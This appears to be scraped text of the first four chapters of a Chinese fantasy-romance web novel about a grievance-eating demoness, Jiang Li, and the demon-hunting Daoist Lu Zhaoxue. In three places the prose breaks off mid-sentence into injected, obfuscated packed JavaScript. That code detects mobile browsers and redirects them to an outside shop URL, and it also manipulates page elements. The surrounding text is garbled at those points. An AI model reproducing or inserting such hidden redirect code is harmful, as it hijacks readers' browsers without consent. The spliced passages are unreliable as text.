《她靠精分把死对头道长撩疯了》 1. 初见 汴京城外二十里,有座荒废的月老祠。 子时刚过,半边残月如弓弦挂在空中,风穿过烂窗棂,发出呜呜声,像谁在哭。 祠堂角落里,三个穿着绸缎衣服的男人惊恐万状地抱在一起,身体抖如筛糠,嘴里不断喊着饶命。 江离瞥了他们一眼,冷冷哼了一声,满是不屑,然后将目光转向月老雕像下。 月老雕像下蜷缩着一个女子,约莫二十出头,粗布衣裙沾满泥土,头发散乱,眼神空荡荡的。她怀里紧紧抱着一只虎头帽。 “这位娘子,别怕。”江离走到她面前,轻声说道。 女子深陷悲伤,不为所动。 江离见了,微微俯身,伸出一只手,声音轻柔而耐心地哄道:“把它给我吧!你睡一觉,睡着就能解脱了。” 地上的女人这才缓缓抬起头,眼皮肿胀,应该是哭了很久,她盯着江离久久不说话。 江离见劝不动,缓缓念起咒语,她的指尖发出红光,延伸出数根红线附着在女子的额头。女子渐渐入睡,但好像陷入痛苦的梦境,不停地叫唤挣扎,那只虎头帽掉在地上。 与此同时,一股肉眼可见的、浓黑如墨的气,从她心口的位置缓缓渗出,并在空中翻滚着。 江离看着那团黑气,张开嘴,轻轻一吸,黑色的怨起化作一道细流,钻进她的唇间。 女人在黑气离体的瞬间,她脸上那种癫狂的痛苦消失了,嘴角甚至扯出一丝笑意。 江离直起身,闭了闭眼平复心情。 喉间是熟悉的灼烧感,带着铁锈和黄连混杂的苦味,烧到五脏六腑。她的右手腕内侧,一道新的暗红色纹路悄然浮现。 她又背上一笔债!她们一族专食世间女子怨气,吸食了怨气就要将怨主的痛苦转化为害人者亲身经历的体验,这称为还愿。唯有成功还愿,怨气才能化为修为,若是没有替怨主还愿,那会遭反噬。 做完一切她转身,看向那三个已经被吓得魂不附体的男人,然后缓缓走到第一个男人面前,冷声怒斥道:“王员外家的丫鬟,去年投井的那个,你骗她怀了孩子就能进府,转头就把她卖了,最后她受不了服毒自杀。” 男人吓得直哆嗦。 江离又走到第二个男子面前,同样的语气道:“西街绸缎庄李掌柜的独女,被你退婚后悬梁自尽。你嫌她家道中落,配不上你新中的秀才功名,是吧?” 第二个男人同样瑟瑟发抖。 第三个没等她走近,已经□□湿了一片。江离站在他面前,没碰他,只冷声道:“你就不用我提醒了吧?半年前,你哄骗未婚女子生子,被有权势的妻子得知后,竟然派人杀她们母子!” 她说完,往后退了一步,拍了拍手上并不存在的灰,很是嫌弃。 然后伸出右手食指,凌空虚划,指尖光芒拉出细如发丝的红色光线,一幅由光丝作成的图案悬浮于空中,画面里有哭泣的孩子、有枷锁、有鞭子。图案画成后,她又咬破左手,将血滴入红色光丝中。 如此,梦便编成了! 江离手指一点,红色光丝组成的图案分别没入三个男人的印堂。 三个男的突然倒在地上,立刻进入睡梦之中,起初还好,不到一会儿三个人在梦里不断地尖叫、哭泣,手指乱抓,似乎在经历一场可怕的噩梦。 “好好享受吧!接下来的每一个晚上,你们都会在梦里,把她们受过的苦,一遍,一遍,再一遍地尝个够。等债还清了……” 她没说完,因为江离猛地察觉祠堂门口有人。 陆昭雪站在那儿,不知道站了多久。 他一身玄色劲装,几乎融进夜色里,只有腰间悬着的剑,在月光下泛着光,身高腿长,肩背挺得笔直,脸色冷得吓人。 他全看见了,看见这女妖吸食男人的魂魄,将他们变得六神无主,地上还有一个痴傻的女人躺着,想必已经被吸食干净了。 还有她转身时,脸上冰冷、讥诮的表情,仿佛眼前不是活人,而是几摊待处理的污秽杂物。 妖!采补生魂的妖!该死的妖! 陆昭雪怒不可遏,突然拔剑而起。没有一句废话,没有任何警告。玄色身影如同离弦的箭,直刺江离后心! 快,准,狠。剑气凛冽,所过之处,寸草不生。 江离在听见剑鸣的瞬间就转过了身。 她脸上闪过一丝错愕,显然没料到对方连半句场面话都不说,直接下死手。 但她的反应快得诡异,没有硬接,甚至没有大幅度躲闪。她只是脚尖在地上一旋,整个人像一片没有重量的红叶子,飘开半尺。 与此同时,数根暗红色的丝线从江离袖口飞出,像毒蛇一样从四面八方缠向陆昭雪的手腕、脚踝、脖颈! 陆昭雪剑势不停,剑气凌空划开,撞上那些红色丝线。丝线被斩断大半,但仍有三五根格外坚韧的缠上他的左小臂。 一瞬间,刺骨的寒意顺着手臂蔓延,耳边仿佛响起无数女子的哀哭。 幻音摄魂? 陆昭雪眼神一厉,内力奔涌,低喝一声:“破!” 纯阳法力爆发,手臂上最后一缕红丝应声而断。而他右手的剑,已刺到江离胸前三尺! 江离终于敛了那副漫不经心的神色。 她双手在胸前迅速交叠,结出一个古怪的手印,口中低声念了句什么。祠堂地面那些残存的红线骤然亮起,发出暗红色刺眼的光。 陆昭雪眼前一花,祠堂里一切没变,但感知全乱了。脚下地面仿佛在蠕动,空气变得粘稠,那三个男人及还在做梦的女人突然苏醒,从地上爬起来,嘴里发出非人的嚎叫扑过来。 是幻象!陆昭雪定心凝神,识破了江离的幻术。当即闭眼,纯靠感觉,剑锋毫不犹豫,依旧刺向江离所在的位置! “噗嗤。”是剑刃入肉的声音。 江离闷哼一声,身影急退,左侧肩头飙出鲜血。她略微惊讶,这捉妖师,竟能这么快看穿她织就的怨梦? 陆昭雪得势不饶人,剑光再起,如影随形。 两人在破败的祠堂里快速移动、交手。陆昭的剑法大开大合,每一次劈砍都带着至刚至阳的绝对力量,江离的身法却诡异飘忽,十指翻飞间,那些暗红色的怨气丝线时而成网防御,时而化为暗器偷袭。 但江离终究受了一剑,三十招过后,她的气息已见紊乱,一个迟缓她就被逼到墙角。 陆昭雪的剑,停在她咽喉前半寸。 “妖女,”他开口,声音冰冷,“吸食生魂,操控活人神智,修炼此等邪术,你还有何话说?” 江离背靠着冰冷的土墙,肩头的血浸湿了一大片红衣。她看着眼前年轻捉妖师那双黑沉沉的眼睛,忽然觉得有点好笑。 他看见她吸魂魄了? 他看见她操控那些男人神智了? 不问清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059282|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚事情真相就下死手,他是没长嘴还是一根筋?她是该气还是该笑? 她歪了歪头,然后真的笑了。 “这位……道长?”江离微微喘气,声音略带疲惫,“你哪只眼睛看见我害人了?” 她抬了抬下巴,指向那边瘫倒在地、却神情平静的女人:“她叫秀娘,儿子病了,没钱抓药,被那三位爷骗着借了印子钱。结果孩子没救回来,自己也被卖进窑子,前几天刚逃出来,孩子留给她唯一的念想虎头帽还丢了,我替她找回来,收走她的怨气,让她好好安葬孩子然后开始新生活,这算害人?” 又指向那三个满脸痛苦、还在做噩梦的男人:“这三位,欠了债,我让他们在梦里还。等他们真真切切体会够了秀娘受的苦,知道自己造了什么孽,然后去补偿秀娘给自己赎罪,这算害人?” 她每说一句,就往前走一小步。 剑尖因此抵住了她脖颈的皮肤,刺破一点,渗出血珠。 她却像感觉不到疼痛,继续道:“至于吸食魂魄,他们的魂魄还在不在,你感受不到?还是说你根本就是学艺不精,没有出师就下山坑蒙拐骗了?” 陆昭雪略微心虚,握住剑的手抖动几下。 他当然看到这几个人魂魄还在,但是妖就是妖,是妖就该死,所以即使心虚他脸上也没有任何动摇。 “妖言惑众。”他声音更冷,剑尖往前递了半分,“邪术便是邪术,巧言令色,也改不了你害人的本质。今日,我便替……” 他的话没能说完,江离突然将脖颈主动向前一送! 剑尖瞬间没入皮肉更深,血涌出来。 陆昭雪一惊,不知道她突然送死是何意? 趁此机会,江离右手如鬼魅般探出,只指陆昭雪持剑的右手手腕! 陆昭雪本能收腕后撤。就是这一撤,江离左手早已蓄势的灵力轰然爆发,狠狠撞向两人之间的地面! “轰!” 地上裂开一个大口子,顿时尘土飞扬,碎石四溅,陆昭雪视线被挡住,他挥剑疾扫,荡开烟尘,眼前却已空无一人。 只有地上留下一小滩红色的血迹,以及远处传来的轻笑:“好凶的捉妖师!我们还会再见的。” 这么大的动静三个男人彻底醒了,看着彼此,又看看了地上的秀娘,再看看了提剑而立、面色冰寒的陆昭雪,吓得魂飞魄散,连滚爬爬地冲出门去。 秀娘也挣扎着爬起来,神色复杂地看了陆昭雪一眼,拾起虎头帽,踉踉跄跄走了。 转眼间,祠堂里只剩下陆昭雪一人。 他缓缓收剑归鞘,抬起左手摸了摸左侧脸颊,那里有一道血痕,是刚才妖女逃走时,溅起的碎石划伤的。 伤口不算深,但是让到手的猎物从手底下溜走,这还是头一遭,对他来说算是奇耻大辱! “妖女,等着吧!” 他低声吐出两个字,转身走出月老祠,玄色身影很快没入夜色。 而他不知道的是,几里外一片荒坟地里,遁走的江离正靠着一块残碑喘气。脖颈和肩膀上的伤口火辣辣地疼,失血加上强行催动灵力遁走,让她眼前一阵阵发黑,她忍着痛撕下衣襟一角包在伤口上。 此仇不报非大女子!臭道士,走着瞧吧! 伤口还在汩汩地冒血,江离闭上眼睛休息了一个时辰,感觉体力稍微恢复便缓缓起身。 她得寻一去处,好好地养伤。 2. 晋阶 汴京城雁池坊,天色吐白,锦绣阁门前。 江离忍着痛敲门,这不是她的家,是她好姐妹苏娆经营的胭脂铺,也是她在这世间唯一能她信得过的地方,她打算在这养伤。 片刻,门开了条缝,一只手猛地把她拽了进去。 “要死啊你!”苏娆穿着浅紫色的寝衣,头发挽着,从床上爬起来给她开门,在门缝里看她伤成这样,就把她拽了进来。 江离自行找了一把太师椅坐下,面对苏娆的恶毒语气,她也不生气,知道苏娆也是担心她。 苏娆简直气不打一处来,继续骂道:“你一天嫌自己命太长,又去招惹了谁?你要死别拉我垫背,别把人引到我这来。” 江离坐在椅子上喘气,脸色苍白,额头上全是冷汗,“有水吗?”她哑着嗓子问。 苏娆翻了个白眼,舀了瓢凉水递过去,又转身从柜子深处摸出个黑陶小罐,“算你运气好,前阵子刚配的金疮药,专治剑伤。但先说好,药钱、收留费、封口费,一分不能少。” 苏娆边说边把药粉倒在江离的伤口上,江离顿时觉得火烧火燎的疼,疼得她直龇牙。 “忍着!谁叫你自己给自己找罪受。”看江离这龇牙咧嘴的样子,苏娆裹纱布的手故意紧了几分。 包扎完毕之后,江离从怀中掏出一个玉镯子,在苏娆跟前晃了晃,道:“谢啦!这个东西够不够今天的药钱?” 苏娆顿时两眼放光,一把夺过玉镯子,拿在手上仔细端详,晶莹剔透,一看就是好东西,“够了!够了!” “你还得帮我一个忙,帮我打听一个人。就是昨晚伤我的那个昆仑墟道士。穿玄色劲装,腰间胯一把长剑和昆仑墟的牌子,年纪不大,二十出头,功夫很硬,下手极狠。 苏娆停下端详玉镯的动作,她实在不知道这妹妹到底要干啥,还嫌自己伤得不够?没好气的道:“昆仑墟可是天下第一大门派,你打听他干什么?嫌命长?” “他不分青红皂白把我伤成这样,我不得还以颜色?” 苏娆盯着她看了一会儿,叹了口气道:“行,我尽力。” 接下来的五天,江离就窝在苏娆脂粉铺后间养伤。 苏娆的铺子不大,前堂摆满瓶瓶罐罐迎客,中间一个小院,后面三间房,一间堆着原料和没做完的香膏,两间卧房,苏娆住一间,江离住一间。 江离大部分时间都在调息,试图炼化伤口残留的剑气。过程很慢,也很痛,每次运功,伤口都像被重新撕裂一次。 苏娆偶尔进来,看看她恢复得怎么样,有时候帮她换药。 “那三个被你‘关照’过的公子哥,出事了!”有一天换药时,苏娆忽然说。 江离睁开眼。 “连着几晚做噩梦,醒来就说胡话,说有人拿针扎他们,拿火烫他们,还说看见自己女儿淹死在眼前,一个个吓得魂不附体,满城找道士和尚驱邪。”苏娆一边缠纱布一边说,“听说也求到了满福客栈那位昆仑墟道士头上,但他好像没什么办法。” 江离得意一笑,他当然没办法,那是她以织梦娘身份种下的“怨梦”,一旦种下,除非她亲自解除,亦或同阶以上的食怨女妖出手,否则只能等契约中的痛苦体验自然耗尽。 “那位道士呢?”她问。 “正到处找你呢,我打听到了,他叫陆昭雪,住满福客栈。”苏娆系好绷带,拍了拍手,“你这一次整治的公子哥都非富即贵,听说官府把通缉令都拟好了,估摸着这两天就会发下去。” 江离不语,心里十分满意苏娆的办事速度,她得快点好起来,然后去满福客栈会会陆昭雪,但在这之前她可能得先做一件事。 又过了七日,江离的伤好得差不多了。一天,她惊喜地发现右手腕内侧,那道暗红色的纹路正在变淡,说明她已经替秀娘还愿成功了。 而这也是她成为织梦娘之后达成的第四十九桩契约,如今她终于有资格晋升为画骨仙了。 “我要去禁地。”江离找到苏娆,兴奋地道。 苏娆正在捣花瓣的手一抖,“你疯了?”她转过身,脸上惯常的嬉笑没了,“你伤刚好,现在进去不是送死?” “我必须去。”江离声音不高,但很坚定,“我已经等不了了。” 苏娆盯着她,眼神复杂。 食怨女妖一族的修行层次从低到高为听怨者、织梦娘、画骨仙、因果者。听怨者只能感应怨气,无法主动吸食。织梦娘必须通过编织梦境吸食怨气或者织梦替怨主还愿。画骨仙可通过变化外形进行伪装,直接在现实中吸取怨气。因果主修为最高,可以直接从记忆中汲取沉淀的怨气,直接改变因果。再往上的层次就是“悲悯”,意味着完全净化诅咒,回归神性,但那只是传说,因为几万年来只有女祖一人达到那境界。 她比江离大,却还卡在听怨者的层次,连织梦娘的门槛都没摸到。天赋这东西,从来不讲道理。江离比她晚觉醒,修行时间也短,可对怨气的感知和承受力强得惊人,一路突破几乎没有阻碍。 “你才当上织梦娘多久?三年?”苏娆语气酸溜溜的,“我熬了十年都没攒够缘,你倒好,挨一剑就要升阶了?” “不是缘,是悟。”江离纠正她,“我好像有点明白画骨是什么意思了。” 苏娆沉默了好一会儿,脸上是不甘、嫉妒,还有一丝无可奈何。 “禁地在城北老槐林深处,你知道规矩。”她最终叹了口气,但语气硬邦邦的,“飞升借的是女祖残留的念力。仪式一旦开始,就得直面你吸收过的所有怨气,还有你自己的心魔。你重伤初愈,扛不住就可能被反噬,魂飞魄散都不稀奇。” “我知道。”江离站起身,眼神亮得惊人,“陪我去吧。” 苏娆无奈点头。 城北老槐林。 这里白天都少有人来,夜里更是死寂一片。树木粗壮的枝丫盘结纠缠,遮天蔽日,月光都透不进来,林子里一片阴暗,地上铺着厚厚的腐叶。 苏娆提了盏白灯笼,走在前面,江离紧随其后。 林子深处,一棵格外粗壮的古槐格外的显眼,二人在此停下。 “就是这里。”苏娆指着那棵树对江离说道,然后念了几下咒语,古槐树干隐约显出一道门,然后门向两侧打开。 一道向下的石阶出现在二人面前,内里黑黢黢的,深不见底,一股阴冷的气息从下面漫上来。 这就是她们这一支食怨女妖的禁地。据说,是几万年前那位因悲悯女子苦难而堕为妖的女祖,残留的一缕神念所化。族人晋升,都需在此地进行考试。 苏娆让开身子,叮嘱道:“下去吧,我在上面守着。记住,仪式开始后,没人能帮你,你只能靠自己。” 江离点了点头,深吸一口气,弯腰钻进树洞,踏上石阶。 越往下走越冷,阴寒直透骨髓。石阶仿佛没有尽头,黑暗中只有自己的脚步声。 不知走了多久,眼前豁然开朗。 一个不大的石窟映入眼帘,中央是一口深不见底的水潭,潭水漆黑如墨,却平滑如镜,没有一丝涟漪。水潭上方,石窟顶壁垂落无数五光十色的石钟乳,石窟因此被照亮。 这就是众生面相壁,当晋升仪式启动时,石壁上会浮现出各式各样的怨念面孔。 江离走到水潭边,咬破指尖,将一滴血,滴入漆黑的潭水。 水面荡开涟漪。 紧接着,整座石窟渐渐“活”了过来。 那些石钟乳上开始浮现出一张张模糊的面孔,哭泣的、愤怒的、麻木的、绝望的……都是女子。有些面孔她认得,是她曾订立契约、吸收过怨气的苦主;有些则陌生,是禁地本身记录下的、千百年来的女子悲鸣。 这时无数哀怨的声音钻进脑海: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059283|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么丢下我……” “孩子,我的孩子……” “疼……好疼……” “我不甘心……我不甘心啊……” 痛苦的声音此起彼伏,交织在一起。与此同时,江离感到自己体内的怨气开始不受控制地翻腾,与她吸收过的那些痛苦记忆产生共鸣。 刚好的伤口也隐约痛起来起来,江离此刻遭遇着心理与身体的双重不适。 但仪式已经开始,无法停止。 从织梦娘晋升为画骨仙,晋升者需同时与石壁上七种最强烈的怨念建立临时连接,并在一柱香内,为这七段痛苦记忆,编织出七个能给予短暂慰藉或指明出路的解脱之梦。在此期间,晋升者自身的外貌、气质、甚至部分记忆,会随着连接的怨念而剧烈变化,仿佛瞬间变成七个人。仪式最关键处,所有面孔会试图吞噬晋升者本来的面容。 若是晋升者能坚定“我是谁”,在所有幻化面孔退去,而她自己的面容在壁上清晰浮现,那就成功晋升,获得画骨之能,可自由操控自身气韵皮相。若是迷失在众生相中,不能坚持自身是谁,从此永远变成某一怨念的化身,晋升失败。 所以苏娆才会说进去之后全靠自己,达成四十九桩契约不难,但是在晋升中保持自我、回归本心是最难的,几万年来多少她们族内多少织梦娘都是倒在了这一关。 江离闭上眼睛,身体飘向水潭正上方,试着与七种怨念建立联系。 瞬间,七种截然不同的、撕心裂肺的痛苦将她淹没。 她同时成为了七个人: 一个是抱着婴孩尸体,在破屋里无声流泪的年轻母亲。 一个是被父亲亲手送上花轿,送给权贵当玩物的大家闺秀。 一个是日复一日被酗酒丈夫常年殴打,带伤操持家务的农妇。 一个是遭人诬陷红杏出墙,要被处以极刑的少妇。 一个是年老色衰,被赶出青楼的妓女。 一个是被配阴婚,终生守活寡的少女。 一个是战场遗孀,苦苦等待十年,只等来一捧骨灰的妻子。 七种人生,七种痛苦,七种怨念。 江离的身体剧烈颤抖起来。她的脸开始模糊、变化。时而浮现那个年轻母亲的枯槁容颜,时而变成大家闺秀的凄婉眉目,时而又化作农妇的麻木眼神……仿佛有七个不同的灵魂在她体内争夺主导权。 更可怕的是,这些面孔开始试图吞噬她自己的脸。每一次变化,都像要将江离这个存在彻底抹去,让她永远成为某一段痛苦的化身。 “我是江离!江离!!” 混乱中,这个念头像救命稻草一样浮现。 她不是那些苦主中的任何一个,她是江离。她要做的,不是变成她们,而是理解她们,然后,走自己的路。 “我……是江离。” 她对着那面映照出无数扭曲面孔的石壁,低声说。 声音很轻,却异常清晰。 “我听见你们的苦,我拿走你们的怨,但我的路,是我自己的。” 话音落下的瞬间,眉心处,一点金色的、火焰型的印记悄然浮现,光芒从眉心蔓延至全身。 那些试图吞噬她的怨念面孔,在触及这暗金光芒时,像是被灼烧一般,潮水般褪去。 石壁上,最后只剩下一张脸。 美丽,妖娆,坚定。 是江离自己的脸。 不是任何伪装,不是任何幻化,是她最本真的模样。 一切归于平静,眉心处的火焰印记散去光芒,隐入肌肤之下。 成了!她从织梦娘升级为画骨仙。 她获得了“画骨”之能,不仅能编织他人梦境,更能操控自身气韵皮相,化身千面。 江离脱力般瘫倒在地,大口喘息。 石窟的光芒渐渐暗淡,恢复成最初的样子。 3. 阿画 江离休息了半刻钟,觉得体力有所恢复,挣扎着爬起来,走到水潭边,催动法力。 水面涟漪已经平息,映照出的,不再是原本的江离,而是一个穿着粗布衣裙、脸色苍白、眼神怯生生的少女倒影。 江离?不,现在是阿画了。 江离摸了摸自己的新面孔,对着水面左看右看,满意极了,她的画骨能力不错。 她转身,沿着石阶向上走去。 踏出槐树洞口,外面天色已近黎明。苏娆抱着胳膊靠在树上,无所事事,脸上浮现出担忧的神色。 “等急了吧?”阿画问道,声音细软,与之前截然不同。 “你是江离?”苏娆被吓了一跳。 “嗯。”阿画点头。 苏娆上下打量她,还是惊讶,既震惊于江离容貌的改变,也震惊于她真的接受住了考验,晋升为画骨仙。 “动静不小,那金光,我都没见过。姥姥当年晋升时,也就是红光冲天而已,你没问题吧?” “你看我有问题吗?”阿画眨眨眼睛,反问道。 苏娆又看了她一会儿,悠悠地道:“厉害!以后别忘了照拂姐姐我。接下来呢?顶着这张脸去报仇?” “是‘报恩’。”阿画纠正她,露出一个柔弱无害的诡异笑容,“陆道长斩妖除魔,误伤了我这孤女,我自然该去好好谢谢他。” 苏娆无可奈何:“随你,不过别牵连我。还有,你欠我护法费、带路费。” “记账上。”阿画拢了拢衣衫,率先朝着城中走去。 陆昭雪!她在心里默念这个名字。 准备好迎接我这个无家可归的弱女子了吗? 满福客栈。 天蒙蒙亮,陆昭雪在客栈前院练剑。害怕打扰到其他住店旅客,他动作放得很轻。 他八岁被师傅救下上昆仑墟,每日修行、练功,学斩妖除魔,一日都不能放松。 妖魔皆恶,必须斩草除根。 这是刻在每一位昆仑墟弟子骨子里的训诫。千百年来,人族与妖物争斗不休,血债累累。昆仑墟存在的意义,便是守卫人间、护佑苍生,将一切不安分的妖魔邪物镇压、诛灭。 这次下山,明面上的任务是追查汴京数位权贵突然变成活死人的案子。但临行前,师父还交给他另一个更重要的使命。 “昭雪!”师父的声音比以往更加肃穆,“你此次下山,除了查明妖物作祟,还需留意寻找一处古战场的线索。” “古战场?”陆昭雪不解。 “上古神魔决战之地。”师父展开一幅泛黄的古老地图,指尖点在一片模糊的区域,大致在汴京西南方向的群山之中,“根据残卷记载,上古神魔大战后,天神将作乱的邪物封印于此,若能寻得此地,就可借其势,布下万妖镇封大阵,将世间流窜作恶的妖物一劳永逸地封印其中。” 陆昭雪心头微震,万妖镇封?这是何等惊人的手笔,必定很难,但这是造福苍生的好事,再难他也要办到。 “弟子明白。”陆昭雪坚定地应下。 几声鸡鸣叫将陆昭雪拉回现实,天已经大亮。 此刻他有些烦心,古战场的事情不急,找到红衣女妖才是当务之急。那三位公子哥的情况虽然已经好转,但他不能放任那女妖再次为祸人间。 冲了澡,换了一身干净衣服,草草填饱肚子便出门急需打探情况。 刚走出客栈不远,转过一个街角就听见前面传来女人的喝骂和细微的抽泣声。 一个穿着桃红衫子、满脸脂粉的妇人,正拧着一个瘦小丫头的耳朵,唾沫横飞地骂:“哭什么哭!老娘让你干活,不是把你当小姐供着的,这点活儿都干不利索,还想去投亲?你那些亲戚早死绝了!” 那丫头穿着打补丁的粗布衣服,头发胡乱用木棍挽着,此时被拧得歪着身子,疼得直掉眼泪,却不敢大声哭,只小声哀求:“苏、苏娘子,饶了我吧,我真不是故意的,那胭脂我赔,呜呜!” “赔?你拿什么赔?”被称作苏娘子的妇人,正是苏娆,手上更用劲,“把你卖了都值不了那盒胭脂钱!我看你就是个丧门星,克死爹娘,还想来克我?” 丫头疼得“嘶”了一声,眼泪成串往下掉,瘦得凹进去的脸颊上全是泪痕,看着可怜极了。 陆昭雪皱了皱眉,正要开口阻止,但那丫头率先抬头哀求。 两个人目光相撞,映入陆昭雪眼帘的是一双大眼睛,因为哭过,蒙着一层水光,惊惶无助。 陆昭雪愣住了,这眼神……很像他妹妹。 很多年前,他还很小,当时很淘气,经常欺负妹妹,妹妹被欺负狠了就是这么委屈巴巴地看着他的。 后来父亲从外面带回来一个女人,有一天半夜女人撕下人皮,露出獠牙,血洗他满门,他因贪玩和同伴翻墙出去抓蚂蚱,因此逃过一劫,但爹娘妹妹却死了,他再也不能让妹妹欺负回来。 悔恨与歉疚涌上心头,他只觉得心里发堵。 苏娆还在骂,抬手要打,那丫头吓得闭眼缩脖子。 “住手。”陆昭雪开口,声音严肃而冰冷。 苏娆手停在半空,转头看见他,愣了一下,随即脸上堆起笑:“哎哟,这位爷,您有事?我这教训自家丫头呢,不碍事,不碍事。” “她欠你多少钱?”陆昭雪问。 苏娆眼珠一转,伸出三根手指:“三十两银子!买她整整花了我三十两白花花的银子。” 听她狮子大张口,阿画在一旁赶紧解释:“没、没有三十两,我是被……” “闭嘴!”苏娆瞪她,打断了她的话。 陆昭雪皱眉,从钱袋里摸出一锭黄金,丢给苏娆:“够了吧!人我带走。” 苏娆接过金子,掂了掂,立刻眉开眼笑:“够了够了!爷您真是心善!这丫头笨是笨了点,但听话,您带回去做个粗使,还是可以的。”她说着,松开了拧着阿画耳朵的手,还假意帮她拍了拍灰,“去吧去吧,跟着这位爷,比跟着我强。” 阿画捂着通红的耳朵,怯生生地看向陆昭雪,眼泪还在掉,小声说:“谢谢爷。” “跟上。”陆昭雪不再看苏娆,转身继续往前走。 阿画小跑着跟上,一路低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059284|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头,抽抽噎噎的。 走出一段,陆昭雪才停下,转头看她:“你叫什么?哪里人?” 阿画瑟缩了一下,回道:“我叫阿画,林州人,去年老家发大水,爹娘都没了,听说汴京有亲戚,我跟着逃难队伍来投奔,可是找不着了,盘缠也用完了,苏娘子说给我口饭吃,让我帮她做活,我笨,打翻了胭脂……” 她说得断断续续,眼泪又涌上来,瘦削的肩膀一抖一抖。 陆昭雪打量她。十六七岁,瘦得脱形,脸色蜡黄,手上确实有些细小的伤口和薄茧,像是做过绣活又干过粗活,看起来就是个普通的、遭了难的孤女。 “识字吗?”他问。 “跟娘学过一点女红,认得几个字……”阿画声音越来越小。 陆昭雪沉默片刻,他突然后悔管这种闲事,他一个大男人如何安顿这姑娘?只能回去问问客栈老板缺不缺杂役,先给她个容身之所,再给她找个好婆家,也算对得起她。 万幸的是客栈确实缺个杂役,管吃住,一个月三钱银子。 听到老板愿意收留他,阿画眼里爆发出难以置信的光,忙不迭地对着陆昭雪和客栈老板鞠躬:“谢谢爷!谢谢爷收留!” 因为过于激动,鞠躬时差点摔了一跤,脸上又是泪又是灰,看着十分滑稽。 老板被逗得噗嗤一笑:“姑娘别激动!” 陆昭雪心里松了一口气,总算给她找了一个去处。 老板倒是个热心肠,带她去了后院最里面一间小屋子,里面许久没有住人,散发着一股霉味,里面的家具也只有一张床、一个柜子和一张方桌。 掌柜的道:“这里的杂役大多数都是男的,你一个女娃跟他们一起住不方便,前院人多眼杂,后院安宁,你先住这儿吧!姑娘家做杂役总是不方便,陆道长说你会做绣活,回头我让我老婆打听打听,绣庄缺不缺人。” 阿画听了,鼻子一酸,眼泪又在眼眶里打转:“谢谢掌柜的,我、我一定好好干,不给你们添麻烦。” 掌柜的摆摆手,没再多说什么,转身离开了。 安顿下来后,阿画就开始干活,扫地、擦桌子、清扫院落,但总是低着头不说话。 客栈里其他杂役起初还好奇议论几句,后来见她实在胆小寡言,也就懒得搭理了。 陆昭雪偶尔会看见她,有时在院子里扫地,有时蹲在井边洗衣服。 很快陆昭雪的烦心事来了,汴京又有男子成为活死人,官府的人派人来请陆昭雪,陆昭雪出门准备去现场查看情况,正巧看见阿画正在院子里晾衣服,脖颈抬起,露出一道伤疤,他好奇地问道:“你脖子上那痕,怎么来的?” 阿画闻言手一抖,差点把衣服扔在地上,怯生生地道:“以、以前逃难的时候,差点被人拐卖,被栓过绳子。” “还疼吗?” “早、早不疼了。”她缩了缩脖子,像是怕他再看。 陆昭雪没再问,匆匆忙忙地出门。 阿画望向陆昭雪离去的背影,嘴角露出一抹怪异的笑容,但很快,笑容又消失,又恢复成平常的怯懦。 4. 活死人 陆昭雪站在府衙内,看着面前三个躺在木板床上的人。 说是人,不如说是三具会呼吸的皮囊,他们面色红润,鼻尖有气息,身体却对外界任何一切都没有任何反应。而且一直睁着眼,但是眼珠一动不动,嘴角维持着一个僵硬的弧度,像是一直保持在最快乐的瞬间。 “三天了,不吃不喝,就这么躺着。脉象平稳,就是醒不过来,也死不了。”旁边负责调查此案的开封府李捕头道。 陆昭雪走近最左边那个富商,伸出三根手指,悬在其眉心一寸处,细细探查。 没有外伤,没有中毒迹象,体内脏器完好,魂魄还在,但整个人的内里像是被掏空了,只留下一个空壳子。 “死前他们在做什么?”陆昭雪收回手,问道。 “都在享乐,刘员外在家听歌姬唱曲,钱老板在酒楼宴请朋友,李大人是在书房赏玩新得的古董。伺候的人说,他们当时笑得特别开怀,然后笑着笑着,就突然不动了,成了现在这样。”李捕头答道。 “笑得特别开心?”陆昭雪重复。 “对,前八起活死人案件也是这样,受害人出事前都很开心。”李捕头继续道,这事诡异得很,整个汴京传得沸沸扬扬,大家都说妖物作怪,所以他们才请了昆仑墟的道长。 当晚的月老祠那妖女对人施法不也是这样?魂魄还在,但是人却变得痴傻,难道还是她?陆昭雪心道。 “李捕头,红衣女妖的通缉令已经发下去了,可有什么线索?” “这……道长,我们开封府和刑部合作,已经在汴京内外贴满通缉令,甚至把通缉令散发到周边村落,没有发现什么线索。” 陆昭雪深吸一口气,这妖女到底跑到哪去了?她受了伤,不可能一直待在深山老巢里面,必定要出来觅食,不可能消失得无影无踪。 “带我去受害人家里看看什么线索。” “是。” 陆昭雪去了西街刘宅。 